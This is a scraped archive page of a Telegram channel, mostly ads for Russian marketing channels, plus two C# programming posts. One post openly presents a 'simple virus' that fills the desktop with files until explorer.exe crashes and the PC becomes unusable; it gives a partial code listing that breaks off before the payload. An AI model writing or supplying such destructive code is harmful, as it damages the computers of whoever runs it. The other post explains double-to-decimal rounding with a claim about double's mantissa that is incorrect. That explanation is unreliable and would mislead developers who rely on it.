NeuroLook
Відкрити в Telegram
1 669
Підписники
Немає даних24 години
-37 днів
-1130 днів
Архів дописів
1 669
@RussianMarketing_Workshop — мастер-классы по маркетингу для русскоязычной аудитории — обучение и практика.
1 669
@RussianDigital_Heart — сердце русского цифрового маркетинга — уникальные взгляды и инсайты для развития вашего бизнеса.
1 669
@Digital_Renaissancess — эпоха Цифрового Возрождения — новые идеи и технологии, меняющие мир маркетинга.
1 669
@Digital_Refreshss — обновление и освежение цифровых стратегий для эффективной онлайн-присутствия.
1 669
@Emotional_Marketing — подход к маркетингу через эмоции, чтобы сильнее донести ваше сообщение к аудитории.
1 669
В этом году ШАД Яндекса увеличивает набор студентов на треть
Отвечая на растущий запрос рынка на сильных ML-специалистов, Школа анализа данных Яндекса, где бесплатно готовят профессионалов в ML и Data Science, примет более 400 студентов в новом учебном году. О том, что образование в сфере ИИ — всё более перспективный выбор, говорит и исследование ШАДа: каждый четвертый выпускник работает в научной сфере, а 77% устраиваются в крупные технологические компании, в числе которых Яндекс, Авито, Тинькофф, VK, Сбер и другие.
Те, кто хочет участвовать в конкурсном отборе в ШАД, найдут подробности поступления здесь.
1 669
🖥 Пишем невероятно простой вирус на C#
Всё в этом посте описано исключительно в образовательных целях
Любой программист должен написать свой маленький вирус.
В этом посте у нас простой вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файлы на робочем столе, и когда файлов создается больше 500
explorer.exe (проводник, процесс который управляет рабочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера).
Единственный способ вылечить ПК — удалить все файлы из папки рабочего стола.
Итак вот и код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
// Настройка нужных переменных
static ext...1 669
@Script_Masters_Main — мастера сценариев — создание убедительных и продающих текстов для вашего бизнеса.
1 669
@App_MasteryASO — мастерство приложений и ASO — улучшайте видимость и установки вашего приложения с помощью экспертов.
1 669
@Creative_NoLimits — креатив без границ — раскройте свой потенциал и создайте уникальные маркетинговые кампании.
1 669
@Osintsev_Printss — отпечатки Осинцева — аналитика и исследования в мире маркетинга от эксперта.
1 669
@Strategic_Meetups — стратегические встречи — обмен опытом и знаниями для развития вашего маркетингового подхода.
1 669
@PRnMarketing_Trend — тренды в PR и маркетинге — будьте в курсе последних изменений и новостей в отрасли.
1 669
@Relay_Handover — передача эстафеты — управление проектами и командой для успешного выполнения задач.
1 669
@Retro_MarketingHub — маркетинг ретро — вдохновение из прошлого для создания новаторских кампаний.
1 669
@Guerrilla_Marketingsss — героический маркетинг — нестандартные и креативные методы продвижения для амбициозных.
1 669
@Launched_Confirmed — запущено и подтверждено — успешные стратегии для запуска новых продуктов и услуг.
1 669
🖥 Округление при преобразовании double в decimal
⏩При достаточно больших значениях
double (с заданной целой частью) при его преобразовании в decimal происходит округление. Однако преобразование в long дает правильный результат.
double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649
Почему так происходит? Можно ли как то преобразовать без округления?
⏩Это особенность преобразования. 1725040000979649 очень близко к максимальному значению мантиссы для типа double 179769313486232, и, видимо, дело именно в этом. Если убрать любую цифру, то всё будет норм.
41-45 округляется к 40, 46-49 округляется к 50.
Скорее всего, это сделано потому, что только диапазон 14-тиразрядных чисел может быть представлен точно полностью (до 99 999 999 999 999), поэтому 15-ый рязряд округляется.
Преобразовать без округления можно только так:
decimal result2 = (long)d;
1 669
@Unconventional_Mkt — нестандартный маркетинг — новаторские идеи для привлечения внимания к вашему бренду.
1 669
@Needed_Yesterday_Day — всё, что необходимо было сделать вчера — эффективное управление временем и задачами.
